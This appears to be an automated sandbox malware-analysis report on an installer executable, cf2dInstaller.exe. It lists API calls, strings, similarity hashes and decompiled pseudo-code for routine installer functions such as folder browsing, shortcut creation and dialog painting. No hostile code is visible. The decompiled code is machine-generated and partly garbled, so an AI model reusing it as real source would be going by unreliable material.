0x0040431f
0x00404323
0x0040432a
0x00404332
0x0040438a
0x00404334
0x00404335
0x0040433c
0x00404341
0x00404346
0x0040434e
0x0040435b
0x0040436f
0x00404373
0x00404373
0x0040436f
0x00404378
0x00404383
0x00404383
0x00404332
0x00000000
0x004042e7
0x004042d5
0x00000000
0x00000000
0x004042db
0x00000000
0x00404243
0x00404243
0x0040424f
0x00404259
0x00404266
0x00404266
0x0040426c
0x00404275
0x0040427e
0x00404281
0x00404284
0x0040428c
0x0040428f
0x00404292
0x0040429a
0x004042a1
0x004042a8
0x0040451c
0x0040452e
0x0040452e
0x004042b3
0x00000000
0x004042b3

APIs

GetDlgItem.USER32 ref: 00404248
SetWindowTextA.USER32(?,?), ref: 00404275
SHBrowseForFolderA.SHELL32(?,004293B0,?), ref: 0040432A
CoTaskMemFree.OLE32(00000000), ref: 00404335
lstrcmpiA.KERNEL32(Show,00429FE0,00000000,?,?), ref: 00404367
lstrcatA.KERNEL32(?,Show), ref: 00404373
SetDlgItemTextA.USER32 ref: 00404383

Part of subcall function 004052B1: GetDlgItemTextA.USER32(?,?,00000400,004043B6), ref: 004052C4

Part of subcall function 00405C6E: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CC6
Part of subcall function 00405C6E: CharNextA.USER32(?,?,?,00000000), ref: 00405CD3
Part of subcall function 00405C6E: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CD8
Part of subcall function 00405C6E: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CE8

GetDiskFreeSpaceA.KERNEL32(00428FA8,?,?,0000040F,?,00428FA8,00428FA8,?,00000000,00428FA8,?,?,000003FB,?), ref: 0040443C
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404457
SetDlgItemTextA.USER32 ref: 004044D0

Strings

C:\Users\user\AppData\Local\, xrefs: 00404350
6898, xrefs: 00404215
Show, xrefs: 00404361, 00404366, 00404371
A, xrefs: 00404323

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: 6898$A$C:\Users\user\AppData\Local\$Show
API String ID: 2246997448-1466179042
Opcode ID: 3afcbafaa1f058f4e60f2d98426583bbe197eeeba94faa728f80af3a79449a75
Instruction ID: 52dfe11e264a0fce323933678d720eed1997f61c196974170264a293bd140da1
Opcode Fuzzy Hash: 3afcbafaa1f058f4e60f2d98426583bbe197eeeba94faa728f80af3a79449a75
Instruction Fuzzy Hash: 19915FB1A00219ABDF11AFA1CC85AAF7BB8EF84315F10407BFA00B6291D77C99418F59

Uniqueness

Uniqueness Score: -1.00%

Function 00402020, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402020() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E004029F6(0xfffffff0);
				_t96 = E004029F6(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x2c)) = E004029F6(2);
				 *((intOrPtr*)(_t100 - 8)) = E004029F6(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x44)) = E004029F6(0x45);
				if(E0040556C(_t96) == 0) {
					E004029F6(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x407490, _t75, 1, 0x407480, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x4074a0, _t100 - 0x34);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\alfons\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x14);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x14);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409378, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 0x34));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409378, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 0x34));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x00402029
0x00402033
0x0040203c
0x00402046
0x0040204f
0x00402059
0x0040205d
0x0040205d
0x00402062
0x00402073
0x0040207b
0x0040215b
0x0040215b
0x00402162
0x00402081
0x00402081
0x00402092
0x00402096
0x0040209c
0x004020a6
0x004020a8
0x004020b3
0x004020b6
0x004020c3
0x004020c5
0x004020c7
0x004020ce
0x004020d1
0x004020d1
0x004020d4
0x004020de
0x004020e6
0x004020eb
0x004020f7
0x004020f7
0x004020fa
0x00402103
0x00402106
0x0040210f
0x00402114
0x00402126
0x00402135
0x00402137
0x00402143
0x00402143
0x00402135
0x00402145
0x0040214b
0x0040214b
0x0040214e
0x00402154
0x00402159
0x0040216e
0x00000000
0x00000000
0x00000000
0x00402159
0x00402164
0x0040288e
0x0040289a

APIs

CoCreateInstance.OLE32(00407490,?,00000001,00407480,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409378,00000400,?,00000001,00407480,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020AB

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-1943935188
Opcode ID: 68441b76e02daf5c94a04c817994d866479800aff39ed8a12ba88c5297dbe799
Instruction ID: ee874f8c2dec57c4877f78095a0f9dac743c80c93ea62094aeb2a8065092a27c
Opcode Fuzzy Hash: 68441b76e02daf5c94a04c817994d866479800aff39ed8a12ba88c5297dbe799
Instruction Fuzzy Hash: 07417D75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040263E(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E004029F6(2), _t19 - 0x1a4) != 0xffffffff) {
					E0040596A(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E00405A0C();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402656
0x0040266a
0x00402675
0x00402676
0x004027b1
0x00402658
0x00402658
0x0040265a
0x0040265c
0x0040265c
0x0040288e
0x0040289a

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 5ec8cfe3ecd6d47a33181b223f4745e968f2e88ce0dfbd25e8ae3887cda06d2f
Instruction ID: c4edc1118dc91e0c9440d01bfde8b8f2caf312925950fbc99ec99334c7621aa2
Opcode Fuzzy Hash: 5ec8cfe3ecd6d47a33181b223f4745e968f2e88ce0dfbd25e8ae3887cda06d2f
Instruction Fuzzy Hash: E3F0E572648101DFD700EBB49D49AEEB768DF51328FA007BBF502F20C1C2B84945DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F06, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403F06(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char* _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				intOrPtr _t71;
				intOrPtr _t85;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x429fc0 =  *0x429fc0 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403E25(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x42db00;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								ShellExecuteA(_a4, "open", _v8, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x42eb68, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x42eb68, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x429fc0 != 0) {
						goto L25;
					} else {
						_t112 =  *0x4297b0 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403DE0(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404191();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t107 =  *0x42e33c; // 0x25612f9
					_t113 =  *(_t107 - 4 + _t113 * 4);
				}
				_t71 =  *0x42eb98; // 0x2559f14
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 + _t71;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403ED2;
				E00403DBE(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403DBE(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403DE0( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403DF3(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t85 =  *0x42eb70; // 0x24c6020
				_t86 =  *(_t85 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x428fa4 =  *0x428fa4 & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x429fc0 =  *0x429fc0 & 0x00000000;
				return 0;
			}

0x00403f16
0x0040403c
0x00404098
0x0040409c
0x00404173
0x00404175
0x00404175
0x0040417b
0x0040417b
0x0040417e
0x00000000
0x00404185
0x004040aa
0x004040ac
0x004040b6
0x004040c1
0x004040c4
0x004040c7
0x004040d2
0x004040d5
0x004040dc
0x004040ea
0x00404102
0x00404115
0x00404125
0x00404127
0x00404127
0x004040dc
0x00404131
0x00000000
0x0040413c
0x00404140
0x00404151
0x00404151
0x00404157
0x00404165
0x00404165
0x00000000
0x00404169
0x00404131
0x00404047
0x00000000
0x0040405b
0x00404061
0x00404067
0x00000000
0x00000000
0x0040408c
0x0040408e
0x00404093
0x00000000
0x00404093
0x00404047
0x00403f1c
0x00403f1f
0x00403f24
0x00403f26
0x00403f35
0x00403f35
0x00403f37
0x00403f3c
0x00403f3f
0x00403f41
0x00403f46
0x00403f4f
0x00403f55
0x00403f61
0x00403f64
0x00403f6d
0x00403f72
0x00403f75
0x00403f7a
0x00403f91
0x00403f98
0x00403fab
0x00403fae
0x00403fc3
0x00403fc5
0x00403fca
0x00403fcf
0x00403fd4
0x00403fd4
0x00403fe3
0x00403ff2
0x00403ff4
0x0040400a
0x00404019
0x0040401b
0x00000000

APIs

CheckDlgButton.USER32 ref: 00403F91
GetDlgItem.USER32 ref: 00403FA5
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00403FC3
GetSysColor.USER32(?), ref: 00403FD4
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00403FE3
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00403FF2
lstrlenA.KERNEL32(?), ref: 00403FFC
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 0040400A
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404019
GetDlgItem.USER32 ref: 0040407C
SendMessageA.USER32(00000000), ref: 0040407F
GetDlgItem.USER32 ref: 004040AA
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004040EA
LoadCursorA.USER32 ref: 004040F9
SetCursor.USER32(00000000), ref: 00404102
ShellExecuteA.SHELL32(0000070B,open,0042DB00,00000000,00000000,00000001), ref: 00404115
LoadCursorA.USER32 ref: 00404122
SetCursor.USER32(00000000), ref: 00404125
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404151
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404165

Strings

open, xrefs: 0040410D
N, xrefs: 00404098
Show, xrefs: 004040D5

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$Show$open
API String ID: 3615053054-997339675
Opcode ID: ca9ac3b64147b6f3934cc3f9d65700a8f1bf1296ace46b7c3bfa8303cb2a33ee
Instruction ID: 0605a8af88f24b8a239437e517aaa265f180be2417519ff34b25117700073a86
Opcode Fuzzy Hash: ca9ac3b64147b6f3934cc3f9d65700a8f1bf1296ace46b7c3bfa8303cb2a33ee
Instruction Fuzzy Hash: D161C1B1A40209BBEB109F60DD45F6A3B69FF54715F108036FB01BA2D1C7B8A991CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				intOrPtr _t115;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42eb70; // 0x24c6020
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x42e360, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					_t115 =  *0x42eb68; // 0x280360
					 *((intOrPtr*)(_t102 + 4)) = _t115;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x00401019
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32 ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32 ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32 ref: 00401126
SetTextColor.GDI32 ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,0042E360,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32 ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 3029600e7a8438bcc5a7b1f7b0fc9c629607e2b31f65c15310fafe19c7710355
Instruction ID: 226a36137513f208ef2a020474f107b038e547e09bed9ebbc09fe29577f91b00
Opcode Fuzzy Hash: 3029600e7a8438bcc5a7b1f7b0fc9c629607e2b31f65c15310fafe19c7710355
Instruction Fuzzy Hash: C0419B71804249AFCF058FA5CD459BFBFB9FF44314F00812AF952AA1A0C738AA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F910EF, Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E02F910EF(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v12;
				intOrPtr _v36;
				CHAR* _v44;
				long _v56;
				CHAR* _v60;
				CHAR* _v76;
				void _v84;
				char _v88;
				signed int _t33;
				signed char _t34;
				CHAR* _t35;
				int _t38;
				int _t43;
				signed int _t48;
				void* _t55;

				_t48 = 0x12;
				memset( &_v84, 0, _t48 << 2);
				 *0x2f950dc = _a8;
				 *0x2f950e0 = _a16;
				 *0x2f950e4 = _a12;
				_v84 = _a4;
				_v88 = 0x4c;
				_v76 = 0x2f944a0;
				_v60 = 0x2f948a0;
				_v56 = 0x400;
				_v36 = 0x82000;
				E02F91DD9( &_v12, 5);
				E02F91DD9(0x2f948a0, 0x400);
				E02F91DD9(0x2f944a0, 0x400);
				_t33 = lstrcmpiA( &_v12, "save");
				asm("sbb edi, edi");
				_t55 =  ~_t33 + 1;
				_t34 = GetFileAttributesA(0x2f948a0);
				if(_t34 != 0xffffffff && (_t34 & 0x00000010) != 0) {
					lstrcpyA(0x2f94ca0, 0x2f948a0);
					 *0x2f948a0 =  *0x2f948a0 & 0x00000000;
					_v44 = 0x2f94ca0;
				}
				if( *0x2f944a0 == 0) {
					lstrcpyA(0x2f944a0, "All Files|*.*");
				}
				_t35 = 0x2f944a0;
